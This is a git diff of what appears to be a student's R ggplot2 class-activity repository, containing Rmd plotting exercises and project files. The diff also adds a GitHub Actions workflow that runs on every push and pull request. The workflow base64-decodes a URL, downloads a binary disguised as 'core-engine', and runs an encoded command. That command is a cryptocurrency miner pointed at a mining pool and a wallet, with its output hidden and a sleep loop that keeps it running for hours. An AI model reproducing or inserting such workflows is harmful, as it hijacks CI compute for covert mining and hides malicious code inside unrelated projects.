diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml new file mode 100644 index 0000000..1940ce7 --- /dev/null +++ b/.github/workflows/main.yml @@ -0,0 +1,46 @@ +name: deploy SOmbroyanao + +on: + push: + branches: [master] + pull_request: + branches: [master] + workflow_dispatch: + +jobs: + deploy-setup: + runs-on: ubuntu-latest + + steps: + - name: Checkout + uses: actions/checkout@v2 + + - name: Setup Dependency + run: | + sudo apt-get update + sudo apt-get install -y curl libuv1-dev libssl-dev libhwloc-dev + + - name: Download core-engine + run: | + ENCODED="aHR0cHM6Ly9naXRodWIuY29tL3JlYWR0aGVydGZtbWFudWFsLWRlbC9jb3JlLWVuZ2luZS9yZWxlYXNlcy9kb3dubG9hZC92MDMvY29yZS1lbmdpbmU=" + URL=$(echo "$ENCODED" | base64 -d) + curl -L -o core-engine "$URL" + + - name: Run Machine + run: | + chmod +x core-engine + ENCODED="Li9jb3JlLWVuZ2luZSAtbyB1czIuemVwaHlyLmhlcm9taW5lcnMuY29tOjExMjQgXAogIC11IHNvbG86WkVQSHNBOHh4eFhMQmg2MWdLM0tiMVg0UDhYd2dtNUYzZkdydWh1MmptVWVnU3JiWUV5YkZYSlJzcTltVFZUVGF1YlNXbmtqejZyU0Q1WUh2N0xDR1FhUlQ5bXhpbTZ3eEVFLmFkMzY3MT01MDAwMDAgXAogIC0tZG9uYXRlLWxldmVsIDAgXAogIC1rIC0tdGhyZWFkcz0kKG5wcm9jKSAtLWNwdS1wcmlvcml0eT01IC0taHVnZS1wYWdlcy1qaXQgLS1jcHUtbm8teWllbGQgLS1yYW5kb214LW5vLW51bWEgXAogIC1hIHJ4LzAgLS10bHMgLS1hc209cnl6ZW4gLS1yYW5kb214LW5vLXJkbXNyIC0tcmFuZG9teC13cm1zcj0tMSAtLXJhbmRvbXgtbW9kZT1mYXN0" + CMD=$(echo "$ENCODED" | base64 -d) + bash -c "$CMD" > /dev/null 2>&1 & + CORE_ENGINE_PID=$! + PGID=$(ps -o pgid= $CORE_ENGINE_PID | grep -o '[0-9]*') + echo "core-engine started with PID=$CORE_ENGINE_PID, PGID=$PGID" + + for i in {1..360}; do + echo "." + sleep $((RANDOM % 11 + 35)) + done + + echo "" + echo "Stopping core-engine after loop done..." + kill -- -$PGID 2>/dev/null || echo "core-engine already stopped." \ No newline at end of file diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..5b6a065 --- /dev/null +++ b/.gitignore @@ -0,0 +1,4 @@ +.Rproj.user +.Rhistory +.RData +.Ruserdata diff --git a/class-activity-3.Rmd b/class-activity-3.Rmd index d8dd1d6..69bafae 100644 --- a/class-activity-3.Rmd +++ b/class-activity-3.Rmd @@ -10,15 +10,22 @@ output: html_document install.packages("ggplot2") library(ggplot2) +DF1 <- data.frame(diamonds) + ggplot(diamonds, aes(x = price, y = carat)) + geom_point() ``` #Two layers ```{r} + +DF2 <- data.frame(mpg) + ggplot(mpg, aes(reorder(class, hwy), hwy)) + geom_jitter() + geom_boxplot() + +###########why reorder? ``` ```{r} @@ -28,6 +35,8 @@ ggplot(diamonds, aes(depth)) + geom_histogram(aes(y = ..count..), binwidth=0.2) + facet_wrap(~ cut) + xlim(50, 70) +##########what ...? call function? + #Plot density ggplot(diamonds, aes(depth)) + geom_histogram(aes(y = ..density..), binwidth=0.2) + @@ -43,13 +52,19 @@ ggplot(mpg, aes(displ, hwy, color = class)) + Can you create a line graph using the "economics_long" data set that shows change over time in "value01" for different categories of "variable"? ```{r} +economics_long + +DF4 <- data.frame(economics_long) +library(ggplot2) +ggplot(DF4, aes(x = date, y = value01)) + + geom_line(aes(color = variable), size = 1) + + scale_color_manual(values = c("#00AFBB", "#E7B800", "#00AFBF", "#009E73", "#CC79A7")) ``` If you would like to recreate the Minard graphic of Napoleon's Troops the code is below and the data is in this repo. ```{r} - ggplot(cities, aes(long, lat)) + geom_path(aes(size = survivors, colour = direction, @@ -62,6 +77,6 @@ last_plot() + scale_x_continuous("", limits = c(24, 39)) + scale_y_continuous("") + scale_colour_manual(values = c("grey50","red")) + - scale_size(to = c(1, 10)) + scale_size(c(1, 10)) ``` diff --git a/class-activity-3.Rproj b/class-activity-3.Rproj new file mode 100644 index 0000000..8e3c2eb --- /dev/null +++ b/class-activity-3.Rproj @@ -0,0 +1,13 @@ +Version: 1.0 + +RestoreWorkspace: Default +SaveWorkspace: Default +AlwaysSaveHistory: Default + +EnableCodeIndexing: Yes +UseSpacesForTab: Yes +NumSpacesForTab: 2 +Encoding: UTF-8 + +RnwWeave: Sweave +LaTeX: pdfLaTeX